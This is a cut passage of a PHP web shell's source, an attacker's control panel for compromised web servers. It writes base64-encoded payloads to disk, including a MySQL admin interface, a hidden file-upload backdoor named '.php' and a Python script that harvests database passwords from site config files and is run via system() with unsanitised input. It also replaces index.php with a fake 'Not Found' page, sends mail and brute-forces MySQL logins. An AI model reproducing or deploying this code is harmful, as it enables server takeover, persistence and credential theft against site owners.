ZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==\';
$file = fopen("db-sql.php" ,"w+");
$write = fwrite ($file ,base64_decode($sqlshell));
fclose($file);
chmod("db-sql.php", 0644);
$indexshell = fopen("index.php" ,"w+");
$data = \'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+\';
$tulis = fwrite( $indexshell, base64_decode($data));
fclose($indexshell);
echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>";
}
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'mail\')){
if(isset($_POST[\'mail_send\'])){
$mail_to = $_POST[\'mail_to\'];
$mail_from = $_POST[\'mail_from\'];
$mail_subject = $_POST[\'mail_subject\'];
$mail_content = magicboom($_POST[\'mail_content\']);
if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
$msg = "email sent to $mail_to";
}
else $msg = "send email failed";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me A.S.A.P</textarea>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" /> mail to</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" /> from</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td> <?php echo $msg; ?></td></tr>
</table>
</form>
<?php }
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'phpinfo\')){
@ob_start();
eval("phpinfo();");
$buff = @ob_get_contents();
@ob_end_clean();
$awal = strpos($buff,"<body>")+6;
$akhir = strpos($buff,"</body>");
echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET[\'view\']) && ($_GET[\'view\'] != "")){
if(is_file($_GET[\'view\'])){
if(!isset($file)) $file = magicboom($_GET[\'view\']);
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
}
else {
$owner = $user;
}
$filn = basename($file);
echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
<form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'".clearspace($filn)."_link\',\'".clearspace($filn)."_form\');\" />
</form>
</td></tr>
<tr><td>Size</td><td>".ukuran($file)."</td></tr>
<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
<tr><td>Owner</td><td>".$owner."</td></tr>
<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
<tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar(\'".clearspace($filn)."_link\',\'".clearspace($filn)."_form\');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
<tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr>
</table>
";
if(isset($_GET[\'type\']) && ($_GET[\'type\']==\'image\')){
echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
}
elseif(isset($_GET[\'type\']) && ($_GET[\'type\']==\'code\')){
echo "<div class=\"viewfile\">";
$file = wordwrap(@file_get_contents($file),"240","
");
@highlight_string($file);
echo "</div>";
}
else {
echo "<div class=\"viewfile\">";
echo nl2br(htmlentities((@file_get_contents($file))));
echo "</div>";
}
}
elseif(is_dir($_GET[\'view\'])){
echo showdir($pwd,$prompt);
}
}
elseif(isset($_GET[\'edit\']) && ($_GET[\'edit\'] != "")){
if(isset($_POST[\'save\'])){
$file = $_POST[\'saveas\'];
$content = magicboom($_POST[\'content\']);
if($filez = @fopen($file,"w")){
$time = date("d-M-Y H:i",time());
if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
else $msg = "failed to save";
@fclose($filez);
}
else $msg = "permission denied";
}
if(!isset($file)) $file = $_GET[\'edit\'];
if($filez = @fopen($file,"r")){
$content = "";
while(!feof($filez)){
$content .= htmlentities(str_replace("\'\'","\'",fgets($filez)));
}
@fclose($filez);
}
?>
<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'logout\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
<?php
unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]);
echo \'bye!\';
}
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'brute\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
<?php
//bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
/*
Recoded By BCC
*/
@set_time_limit(0);
@error_reporting(0);
if($_POST[\'page\']==\'find\')
{
if(isset($_POST[\'usernames\']) && isset($_POST[\'passwords\']))
{
if($_POST[\'type\'] == \'passwd\'){
$e = explode("
",$_POST[\'usernames\']);
foreach($e as $value){
$k = explode(":",$value);
$username .= $k[\'0\']." ";
}
}elseif($_POST[\'type\'] == \'simple\'){
$username = str_replace("
",\' \',$_POST[\'usernames\']);
}
$a1 = explode(" ",$username);
$a2 = explode("
",$_POST[\'passwords\']);
$id2 = count($a2);
$ok = 0;
foreach($a1 as $user )
{
if($user !== \'\')
{
$user=trim($user);
for($i=0;$i<=$id2;$i++)
{
$pass = trim($a2[$i]);
if(@mysql_connect(\'localhost\',$user,$pass))
{
echo "Gca~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";
$ok++;
}
}
}
}
echo "<hr><b>You Found <font color=green>$ok</font> Cpanel</b>";
echo "<center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";
exit;
}
}
if($_POST[\'pass\']==\'password\'){
@error_reporting(0);
$i = getenv(\'REMOTE_ADDR\');
$d = date(\'D, M jS, Y H:i\',time());
$h = $_SERVER[\'HTTP_HOST\'];
$dir=$_SERVER[\'PHP_SELF\'];
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
chmod(".php",0755);
mkdir(\'config\',0755);
$cp =
\'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=\';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
chmod("cp.py",0755);
$url = $_POST[\'url\'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink (\'cp.py\');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";
exit;
}
if($_POST[\'matikan\']==\'sekatan\'){
@error_reporting(0);
$phpini =
